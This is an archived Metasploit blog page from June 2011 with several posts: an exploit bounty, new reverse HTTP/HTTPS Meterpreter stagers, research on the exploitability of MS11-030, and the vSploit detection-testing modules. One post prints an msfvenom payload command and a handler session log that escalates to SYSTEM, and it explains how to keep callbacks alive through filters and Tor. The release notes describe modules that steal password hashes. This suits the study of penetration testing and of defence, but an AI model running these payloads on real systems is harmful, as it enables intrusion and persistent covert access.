Skip navigation
All Places > Metasploit > Blog > 2011 > June

A few weeks ago the Metasploit team announced a bounty program for a list of 30 vulnerabilities that were still missing Metasploit exploit modules. The results so far have been extremely positive and I wanted to take a minute to share some of the statistics.


As of last night, there have been 27 participants in the bounty program resulting in 10 submissions, with 5 of those already comitted to the open source repository and the rest in varying states of completeness.


One vulnerability was proven to be incredibly difficult (and likely impossible) to exploit, as Joshua Drake writes in his extensive blog post about the research process. For those who haven't spent a week banging your head against a difficult bug, this post can give you an idea how much work is involved just to state whether or not a security flaw is exploitable. Microsoft bulletins tend to error on the side of exploitability even when there isn't direct evidence to make the case for code execution.


Christopher Mcbee (Hal) deserves recognition for being the first person to submit a module for the Siemens FactoryLink vulnerability.


Alino was not only the first person to claim a $500 bounty, but he also managed to complete a second bounty as well!


Not everything went according to plan; three participants gave up before the one week deadline, eleven folks were not able to submit something in time, and one was disqualified for attempting to submit a snippet of commercial code as their own. One thing has been clear though; the Metasploit Community includes some amazing exploit developers and has an energy level that is tough to find in any other area of information security. Since the bounty was announced we have seen a record level of new patches, modules, suggestions, and community participation in the development process.


The bounty program is still running until July 20th; if you haven't had a chance to look at the list, you are running out of time to claim an item before the final deadline. Thanks again to everyone who participated so far and keep the submissions coming!



The Meterpreter payload within the Metasploit Framework (and used by Metasploit Pro) is an amazing toolkit for penetration testing and security assessments. Combined with the Ruby API on the Framework side and you have the simplicity of a scripting language with the power of a remote native process. These are the things that make scripts and Post modules great and what we showcase in the advanced post-exploit automation available today. Metasploit as a platform has always had a concept of an established connection equating to a session on a compromised system. Meterpreter as a payload has supported reverse TCP connections, bind shell listeners, transport over Internet Explorer using ActiveX controls (PassiveX),and more recently a HTTPS stager. This is finally changing.


Corporate egress filters are becoming tighter and the standard connect-back payload has become less useful for large-scale end-user phishing campaigns. The PassiveX payload worked well for specific versions of Internet Explorer, but is becoming harder to support due to version and platform differences. The HTTPS stager within Metasploit works, but only the first stage of the connection used the target's proxy settings and authentication; the second stage required a full persistent SSL connection from Meterpreter back to the attacking system.


Rob Fuller (who many know as mubix) was lamenting this state of affairs last Sunday and convinced me to actually do something about it. The result is native support for HTTP and HTTPS transports for the Meterpreter payload, available in the Metasploit Framework open source tree immediately. Our Metasploit Pro users will be able to take advantage of the new HTTPS stager for phishing campaigns once the code has gone through a full regression test. These payloads use the WinInet API and will leverage any proxy or authentication settings the user has configured for internet access. The HTTPS stager will cause the entire communication path to be encrypted through SSL.The HTTP stager, even without encryption, will still follow the HTTP protocol specification and allow the payload to breeze through protocol inspecting gateways.


These new stagers (reverse_http and reverse_https) are a drastic departure from our existing payloads for one singular reason; they are no longer tied to a specific TCP session between the target and the Metasploit user. Instead of a stream-based communication model, these stagers provide a packet-based transaction system instead. This mode matches the behavior of many malware families and botnets. The challenge with these payloads is identifying when the user is "done"; this is accomplished in three different ways:


1. The payload has a hard-coded expiration date stamped into it during the initial staging process. By default, this is one week from the current date (relative to the target). This prevents a forgotten session from connecting back indefinitely. You can control this setting through the SessionExpirationTimeout advanced option. Setting this value to 0 indicates that it should continue connecting back until the process is forcibly killed or the target is restarted.


2. The payload has a hard-coded keep-alive timeout stamped into it during the staging process. This tells the payload to shutdown on its own if it is unable to connect back for a specific number of seconds. By default this is 300 secoinds (5 minutes), but it can be changed by setting the SessionCommunicationTimeout parameter. Just like the SessionExpirationTimeout option,setting this to 0 will result in a session that will never timeout, which has some interesting uses, as described below.


3. Finally, the Meterpreter payload now exposes a shutdown API (core_shutdown). This is called automatically when the session is exited through the Metasploit Console. To avoid shutting down the payload but still exit the temporary session, use the detach command from the Meterpreter prompt. Keep in mind that if the SessionCommunicationTimeout is hit (5 minutes of not being able to reach a listening handler), the payload will terminate anyways. Setting this option to 0 and detaching the session will instruct the payload to keep reaching out until the SessionCommunicationTimeout is hit or the process is killed.


With the new behavior and the three termination options above, some new capabilities are exposed.


If you are conducting a penetration test in which the compromised target has spotty internet access, setting SessionCommunicationTimeout to 0 will ensure that your session will reattach whenever the target comes back online (as long as the handler is running). Even better, the target will use the currently configured proxy server and authentication settings to reach the Metasploit server. Rob Fuller tested the new payloads through TOR and the payload was able to keep a session alive even when the exit nodes were being changed and the TOR service was turned on and off.  This level of resiliency previously required a payload to be written to disk, which goes against one of the core principals of the Metasploit design.


If you are conducting a penetration test and want to change the IP to which your incoming connections are received, just use a DNS name for LHOST and modify the DNS record as needed (set a low TTL). If the name does not resolve and the SessionCommunicationTimeout and SessionExpirationTimeout settings have not been reached, the payload will continue trying to resolve the name and connect back. The session will continue to follow DNS changes and IP changes on the target side.


The work that was done to support a transactional HTTP-based communication model can be easily extended to support other communication channels in the future. Communicating through IRC, using Pastebin documents, or really any other form of network communication is now relatively simple to implement. Malware, botnets, and backdoors are using increasingly sophisticated communication channels and it is about time that our security tools caught up.


The command line below will generate a Windows executable that uses the new HTTPS stager:


$ msfvenom -p windows/meterpreter/reverse_https -f exe LPORT=4443 > metasploit_https.exe


This sequence of Metasploit Console commands will configure a listener to handle the requests:


$ ./msfconsole

msf> use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(handler) > set LHOST

msf exploit(handler) > set LPORT 4443

msf exploit(handler) > set SessionCommunicationTimeout 0

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on

[*] Starting the payload handler...



Running the executable on the target results in:


[*] Request received for /INITM...

[*] Staging connection for target /INITM received...

[*] Patched transport at offset 486516...

[*] Patched URL at offset 486248...

[*] Patched Expiration Timeout at offset 641856...

[*] Patched Communication Timeout at offset 641860...

[*] Meterpreter session 1 opened ( -> at 2011-06-29 02:43:55 -0500


msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...


meterpreter > getuid

Server username: Spine\HD


meterpreter > getsystem system (via technique 1).


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM


meterpreter > detach

[*] Meterpreter session 1 closed.  Reason: User exit


At this point, we can close the Metasploit Console and bring it up at any time.


After running the handler again with the same parameters:


[*] Request received for /CONN_mmOJARwJFmHbqXKu/...

[*] Incoming orphaned session CONN_mmOJARwJFmHbqXKu, reattaching...

[*] Meterpreter session 1 opened ( -> at 2011-06-29 02:44:24 -0500


msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM



You can see that the session has maintained state even across different instances of Metasploit.


This concept applies to background tasks like the keystroke sniffer, network sniffer, and other fuctions that accumulate information in the background.



MS11-030: Exploitable or Not?

Posted by jduck Jun 27, 2011

If you weren’t already aware, Rapid7 is offering a bounty for exploits that target a bunch of hand-selected, patched vulnerabilities. There are two lists to choose from, the Top 5 and the Top 25 . An exploit for an issue in the Top 5 list will receive a $500 bounty and one from the Top 25  list will fetch a $100 bounty. In addition to a monetary reward, a successful participant also gets to join the elite group of people that have contributed to Metasploit over the years. Their work will be immortally assimilated into the Framework, under BSD license, for all to see.


Despite the low value of the reward, I saw this as an opportunity to make a little extra cash and take a look a fairly challenging bug. I selected CVE-2011-0657 from the Top 5 due to my previous experience with the DNS protocol. After I claimed the bug, and checked that my name was safely in the table of players, I immediately began procrastinating.


Later that day, Jon Butler (@securitea) tweeted to the effect that he had been working on the bug. I replied, letting him know I was willing to collaborate and share the cash and glory. After discussing some logistics, Jon sent me his commented IDB of the old version of DNSAPI.dll from Windows 7 and a PoC based on Scapy. When I opened the IDB, Jon already had it pointed at the “_Dns_Ip4ReverseNameToAddress_A” function. It was well commented, but I quickly invoked the Hex-Rays decompiler and started analyzing the function. You can find the HTML output here. You probably want to keep it open in a new tab while you continue reading.


After doing some input validation, the string preceding “” is copied into a local stack buffer on line 23. Inspecting the constraints showed that it isn’t possible to cause a buffer overflow at this point.


I read on and noticed that it was processing the local stack buffer in reverse. It starts with “v_suffix” on line 26 and looks to see if it points at a ‘.’ character. If the value ever points at the beginning of the buffer, processing is halted and the “v_return” value is written to the output “a_ret” pointer on line 49. This seems all well and good, or is it?


After looking for a few more minutes, I came to a realization. Here is an excerpt from the chat log with Jon.


(5:33:22 PM) jduck: hexrays shows two nested loops

(5:33:48 PM) jduck: while (1) { while (1) { --endptr; .... } ... --endptr; }

(5:33:55 PM) jduck: so it could double decrement

(5:34:11 PM) jduck: then the if == begin will never catch it

(5:34:39 PM) Jon Butler: hmm

(5:34:43 PM) jduck: == trigger

(5:34:53 PM) Jon Butler: i'll test it

(5:35:45 PM) Jon Butler: no crash


A skilled auditor may notice my error here. I thought for sure that would crash the service, but it didn’t. So I thought some more...


(5:35:54 PM) jduck: im running thru it in my head hehe

(5:36:02 PM) Jon Butler: yeah, its all good

(5:36:06 PM) Jon Butler: cant hurt to try

(5:36:13 PM) jduck: maybe ?

(5:36:16 PM) Jon Butler: i was thinking lots of dots might do it as well

(5:36:20 PM) jduck: with a preceding period


Now at this point, I had some doubt that this was the bug at all and changed the subject of our conversation before Jon got a chance to test with this input. Silly me. Also, Jon was having some issues getting a debugger going attached to the service.


(5:24:47 PM) Jon Butler: also, protip: dont atatch windbg to the DNS client then wait while windbg tries to resolve to get symbols


Jon and I spent the rest of Tuesday evening and most of Wednesday evening flailing every which way except the right direction. Jon battled the symbol resolution problem while I went off on a tangent trying to trigger the bug in XP. By Wednesday evening (late night Wednesday for Jon), he had solved the symbol issue and began stepping through the code to gain a better understanding. We threw several ideas back and forth, but none of them lead to a crash. Eventually, time got the better of us and we called it a day.


NOTE: In order to work around the symbol issue, its possible to use the “symchk” executable to download the symbols for the “dnscache” service process before attaching to it. Once downloaded, set the _NT_SYMBOL_PATH variable to point to *ONLY* the local symbol directory, and voila.


Thursday, Jon came online and we continued reviewing the changed functions within the XP DNSAPI.dll. We were hoping that they might give us some insight that we didn’t get before. On Jon’s recommendation, I asked HD about the Windows XP vector. It went something like this:


19:54 <@jduck> will rapid7 give $500 for the local xp exploit?

19:54 <@hdm> jduck: sure if its a remote on windows 7


So I abandoned my efforts trying to trigger the bug via the LPC on XP, and diverted my attention back to Windows 7. I started by going back through the changes (still using XP binaries) one at a time, hoping to eliminate any that weren’t security related. I found some changes related to locking, but it’s unclear if that was related. After I went through all of these changes, and didn’t find any glaring issues, I went back to diffing the Windows 7 binaries. I grabbed fresh copies of the DLLs, grabbed fresh copies of their symbols, created fresh IDBs and BinDiff'd them. To my surprise, there was were only four changed functions!




After getting my Windows 7 VM going, working around the symbol resolution issue, I started playing around sending inputs. I read the IPv6 version, ”_Dns_Ip6ReverseNameToAddress_A”,

and spent a couple of hours sending various inputs. Finally, I got a crash!


Unfortunately, it was only a 0xc00000fd exception. The human-readable description of this exception code, which irks one of my pet peeves, is often displayed as “Stack Overflow”. This is not the kind of crash you want to see when developing an exploit since this kind of crash is rarely exploitable. In this particular case, there is no exception handler, so it simply kills the process. The service is set to restart automatically twice, and reset counts after one day, but that isn’t terribly helpful (try: sc qfailure dnscache).


Let’s take another look at the decompiler output for the Ip4 version. Consider an input string of “”. On the first iteration, a ‘0’ will be found, so “v_suffix” will simply be decremented. On the second iteration, a ‘.’ character is found on line 33. Next, it is overwritten with a NUL byte on line 38 and re-incremented. The “strtoul” function is called on line 40 and the return value from it is merged into ultimate return value on line 43. Since “v_suffix” does not point to the beginning of the buffer, it will be decremented on line 47. Note that after decrementing the pointer here, it will point at the beginning of the buffer (the first ‘.’ character). The next statement that is executed is “--v_suffix;” on line 32. At this point, the pointer has escaped the bounds of the local buffer, and will never again have the chance to point to the beginning. If no ‘.’ character is found before the beginning of the stack is reached, the 0xc00000fd exception will be raised when the guard page at the top of the stack is accessed.


Even though I managed to crash the process, I wasn’t 100% sure that this was the reason Microsoft released an update. I didn’t see anything interesting in the other changed functions. It seemed unlikely that anything good could come from this since there was no return address or function pointer on the stack before the function.


My first thought was to assume that I could control the data above the buffer on the stack. I hypothesized that I could do this via some deeper call stack that would occur in a preceding function call. Perhaps controlling this data would allow passing an input string that was longer than the function originally allowed. That would violate assumptions made by the programmers, and could lead to further corruption. So I created a WinDbg script that would put more valid-ish strings into the stack above (lower addresses) the buffer.


First I tested with the Ip4 variant, but it didn’t yield anything fun. Then, I tried some things with the Ip6 version, which writes one byte at a time for each pair of nibbles encountered (ex. “a.b.”). It will write up to 16 bytes (the size of the destination buffer passed in, likely a struct in6_addr). I double-checked and concluded that it wasn’t possible to cause a buffer overflow this way.


Although I didn’t get an awesome crash from this experiment, I found that it was possible to prevent a crash from occurring this way. In one instance, an already-used return address on the stack contained a ‘.’ character and prevented the crash. Being able to force this type of behavior is certainly advantageous, so I wrote this down for later.


Slightly disappointed with these results, I took a look at the Ip4 version’s stack frame.




Just before the data in “v_buf”, we find the pointer “v_out_ptr”. After a brief look over, it seemed the best next-step would be to try to corrupt this pointer and cause the “v_result” value to be written somewhere unexpected. If the pointer happened to contain a ‘.’ character, it would get replaced by a NUL byte. That is, if “v_out_ptr” was 0x00132e40, it would then become 0x00130040. It is possible for this to happen one of two ways. First, we would need to find some way to control the length of preceding function calls stack frames (ex. via “alloca”). This is often a long tedious path, for which not many good tools exist. The other option means crossing our fingers and hoping ASLR gives us a lucky value. I love rare cases where a mitigation contributes to exploitability!


NOTE: Although it’s not visible in the decompiler output, the “v_out_ptr” is read from the stack immediately before writing the output value. This is one of the reasons why the decompiler can be misleading when doing exploit development.


Initially, I tried a few experiments using the Ip6 version. Unfortunately, the Ip6 version has far more strict handling of the return from “strtoul”. If a zero is returned (ex. a string like “z.”), or if the value is greater than 15, the loop terminates and nothing is written. So I went to check the situation using the Ip4 version. It is a bit more lenient in that it accepts zero return values, as you can see on line 41. However, if we fail that conditional the function returns zero and no write occurs. In fact, only way to get the Ip4 function to write to “v_out_ptr” is when “v_suffix” points at the start of the buffer (line 44). Ugh, strict constraints or impossibilities, not a good feeling.


Finally, on Saturday, I caved in and decided to reach out to Neel Mehta. As the original discoverer of the vulnerability, I figured he had a unique perspective on the issue. After exchanging several emails, Neel confirmed that I had nailed the root cause and offered several promising ideas for where to go next.


The first idea was to use TCP based LLMNR resolution. I looked at my Windows 7 SP0 machine and it wasn’t listening on TCP port 5355. Bummer. Further googling led to an old TechNet arcticle that states “TCP-based LLMNR messages are not supported in Windows Vista”. Even if Windows 7 supports this feature, RFC4795 says TCP resolution is only used when the server has a reply that is too long for UDP. In this situation, similar to traditional DNS, the truncation (TC) bit is set in the flags section. Although it may be possible to construct a serious of queries and/or spoofed responses in order to elicit a truncated response, this was not investigated. This could be considered an exercise for the reader, should you be so inclined.


The second idea that Neel conveyed centered around the additional registers that are pushed onto the stack within the course of the functions executing. Looking at push instructions in the function shows that esi, edi, and ebx are pushed to the stack (in that order). These registers are later restored prior to returning to the calling function, “Dns_StringToDnsAddrEx”. After returning, the ebx register is checked against the value 0x17. The edi register is passed to one of the “RtlIpv6StringtoAddressEx” functions (ANSI or UNICODE). The esi register is passed as the destination argument to one of two ‘‘bzero(dst, 0x40)” calls. Unfortunately, none of this looked particularly promising.


The third idea that Neel proposed was to investigate the interaction between regular DNS queries and these functions. It turns out that the calling function is called from “DnsGetProxyInfoPrivate” which is exported along with “DnsGetProxyInformation”. We made no further effort to investigate this avenue. Perhaps another exercise for the reader :-)


With Saturday winding down, I decided to put together a quick trigger-fuzzer to test if random luck would lead to anything sexy. I ran it for an hour or so, but quickly got tired of looking at 0xc00000fd exception after 0xc00000fd exception. My hope had started to run out and my batteries needed recharging, so I crashed.


Sunday, Jon and I went back and forth discussing whether or not the issue was exploitable at all. We recapped our findings, but ultimately came to the conclusion that there was no way we could write a reliable exploit in time to qualify for the bounty. I had previously said I’d conduct a few more experiments in the debugger to see if corrupting the other stack-saved registers led to any nice crashes in the parent function. I set a break point in the processing loop of each of the vulnerable functions and fired off some trigger queries. Each time the breakpoint was hit, I wrote a ‘.’ character to a byte offset in the saved register area and continuing execution. Out of all 16 bytes, only one led to a different crash. This was the saved esi value, which was subequently used in the bzero operation.


Similar to the “v_out_ptr” value, this value was a stack pointer that points to a the output area of “Dns_StringToDnsAddrEx”. If it happened to contain a ‘.’ character, it would get modified to point to an address higher on the stack. This really isn’t much help since we’re already higher than any data that could affect code flow (return addreses, etc). This path seemed like a dead end. Having fulfilled my promise to try this experiment, I readied myself to admit defeat.


Prior to formally giving up on the bounty, Jon suggested I email Neel one last time to ask if he managed to obtain code execution from this vulnerability. Neel replied stating he hadn’t. He decided to stop work on the bug once Microsoft agreed that the issue should be rated Critical. He reiterated that he believes it’s possible to exploit this bug, but agreed that it was definitely more challenging than most bugs.


Although I want to believe that the bug is exploitable, I simply can’t see a way. Jon and I have folded. I would love to say this bug is unequivocally not exploitable, but as we have seen in the past this probably isn’t wise. Regardless, it seems to me, and I believe the facts show, that this bug is challenging enough that it’s not possible to write a reliable exploit leveraging it in one week.


Despite my opinion, there are still some avenues left unexplored for those that are inclined to push forward on this bug. If you wish to continue where we left off or just play with bug, our technical notes are available and a DoS Metasploit module has been added to the tree. If you do push the analysis envelope forward on this bug, we hope you will contribute your findings back to the community. Good luck and happy exploiting to you all!

Sometimes little things can make a huge difference in usability -- the Metasploit Framework Console is a great interface for getting things done quickly, but so far, has been missing the capability to save command and module output to a file. We have a lot of small hacks that makes this possible for certain commands, such as the "-o" parameter to db_hosts and friends, but this didn't solve the issue of module output or general console logs.


As of revision r13028 the console now supports the spool command (similar to database consoles everywhere). This command accepts one parameter, the name of an output file. Once set, this will cause all console output to be shown on the screen and written to the file. Calling the spool command with the parameter "off" will disable the spool. Even better, this command opens the destination file in append-only mode, so you can add the following line to your ~/.msf3/msfconsole.rc to automatically log all of your output for the rest of time:


spool /home/<username>/.msf3/logs/console.log


Thanks to oorang3 on freenode for the suggestion. To access the new command, use the msfupdate command on Linux (or just "svn update") or the Metasploit Update link on Windows.


If you are running a version of the Metaspoit Framework that used one of the binary installers prior to 3.7.2, we strongly recommend upgrading to take advantage of the improved auto-update capabilities and dependency fixes in that release.



It's that time again! The Metasploit team is proud to announce the immediate release of the latest version of the Metasploit Framework, 3.7.2. Today's release includes eleven new exploit modules and fifteen post modules for your pwning pleasure. Adding to Metasploit's well-known hashdump capabilities, now you can easily steal password hashes from Linux, OSX, and Solaris. As an added bonus, if any of the passwords were hashed with crypt_blowfish (which is the default on some Linux distributions) any time since 1998, they may be considerably easier to crack. For more cracking fun, Maurizio Agazzini and Mubix's hard work has paid off in a new cachedump module. As the name implies, cachedump allows you to steal Windows cached password hashes. They can't be used directly like those obtained with hashdump, but JtR can crack them. If cracking sounds hard regardless of 13 year old bugs and proprietary hash algorithms, you might be interested in the latest post modules from TheLightCosine: they steal passwords from several applications which conveniently store them for lazy users in what is equivalent to plaintext.


Metasploit gets better every day.


For more details about this release, see the 3.7.2 Release Notes

The Metasploit team is excited to announce a new incentive for community exploit contributions: Cash! Running until July 20th, our Exploit Bounty program will pay out $5,000 in cash awards (in the form of American Express gift cards) to any community member that submits an accepted exploit module for an item from our Top 5 or Top 25 exploit lists. This is our way of saying thanks to the open source exploit development community and encouraging folks who may not have written Metasploit modules before to give it a try.


All accepted submissions will be available under the standard Metasploit Framework license (3-clause BSD). Exploit selection is first-come, first-serve; please see the official rules for more information.

Contributors will have a chance to claim a vulnerability from the Top 25 ($100) and Top 5 ($500) lists. Once a vulnerability has been claimed the contributor will be given one week to work on a module. After a week the vulnerability will be open again to the community. Prizes will only be paid out to the first module contributor for a given vulnerability. The process of claiming a vulnerability is an attempt at limiting situations where multiple contributors submit modules for the same vulnerability. To stake a claim, send an email to with the name of the vulnerability from the list below. All claims will be acknowledged, so please wait until receiving the acknowledgement before starting on the exploit. Each contributor can only have one outstanding claim at a time.


If you need help with the Metasploit module format, feel free to drop by our IRC channel (#metasploit on, and take a look at the some of the community documents:


Thanks and have fun!




[*UPDATE 6/28/2011*] vSploit Modules will be released at DEFCON


This is a follow-up post for vSploit - Virtualizing Intrusion & Exploitation Attributes with Metasploit Framework about using Metasploit as a way to test network infrastructure countermeasures and coverage. I mentioned obtaining list of suspicious domains to use for testing organization's networking intelligence. Simply put, let's create suspicious traffic to see how organizations respond.


In that post and accompanying video, I used the Metasploit vSploit DNS Beaconing module to emulate suspicious DNS traffic. One response I received was, "Where can I get a list of suspicious domains?" Generally, the best place is probably the SANS Institute Suspicious Domains page.


However, in this post I'll concentrate on's ZeuS Tracker, which has lists of suspicious IP Address and Domain Names. Out of the offered blocklists, we'll be using the ZeuS domain one, which we can use as input for the Metasploit vSploit DNS Beaconing Module. Download this list, remove comments and whitespace, then save it as a text file. At the time of this post the list contained 651 suspicious domains, which of course change from time to time.


First, confirm that the suspicious domain list is in place:




After starting up Metasploit "use auxiliary/vsploit/dns/dns_beacon" and then enter "set DOMAINS file:/tmp/domains.txt":




Now type "run" to start the queries:




This is great to test your ability to monitor suspicious domain queries in your organization, without actually infecting real hosts.


If you'd like to learn more about the new vSploit modules to test your network security infrastructure, join me in tomorrow's webinar Identifying Infrastructure Blindspots with Metasploit Framework for a live demo.


Many organizations are making significant investments in technologies in order to tell if they have been compromised; however, frequently they find out when it is too late. There are several network-based attributes that, when combined, indicate possible compromises have taken place. Many pentesters are successful at compromising hosts; however, commonly they are restricted in what they can and can't do. There needs to be a way that they can sucessfully mimick threats and scenarios, even when restricted: a way that pentesters and defenders can test organizational awareness without just "popping shells". Currently you'd have to drop live malware on networks to show customers if their countermeasures can detect the activity, which is not feasible. 


As such, there is a need for people to test their ability to find compromised hosts without spreading live malware on their network, or the need for an expensive stand alone lab.  Are their countermeasures configured correctly? Is traffic bypassing their countermeasures? Can they spot that compromised host doing the bidding of an attacker? Basically, can organizations spot a wolf in sheep's clothing?


Over the last few years I've done tons of research on intrusion attributes and have deployed an alphabet soup of security solutions. To tackle the inability to do testing of these systems, I started to write my own framework in Python, mimicking malicious activities. Now that I've joined Rapid7, I've been talking with HD Moore about incorporating the concept into the Metasploit Framework and so I've dusted off my Ruby skills and started dabbling with developing Metasploit Auxiliary modules. After a few days I have some cool things working.



I'm dubbing the new auxiliary modules vSploit modules. The name vSploit was chosen because what we are doing is virtualizing exploitation attributes. vSploit modules imitate compromised or vulnerable hosts on networks. They are created to allow enterprises a chance to test their overall security architecture and design. In my experience, people deploy a whole host of systems such as IDS/IPS, Log correlation solutions, firewalls, proxies, you name it, but many times these products are not seeing the low hanging fruit that is indicative of breaches. vSploit modules are a way to test these solutions without actually releasing live exploits on your network. I'm working on Metasploit resource files to launch virtual intrusion scenarios. 


I will be doing a webinar introducing the concept to you on June 14th, 2011 2pm EST on Identifying Infrastructure Blindspots with Metasploit Framework. In the talk I'll cover how to use vSploit modules to validate whether security solutions are working as expected. Hope you can join because I'm looking forward to your feedback.


Here is a quick demonstration of a few vSploit Modules:


vSploit Web PII Module



vSploit DNS Beacon Module


Filter Blog

By date: By tag: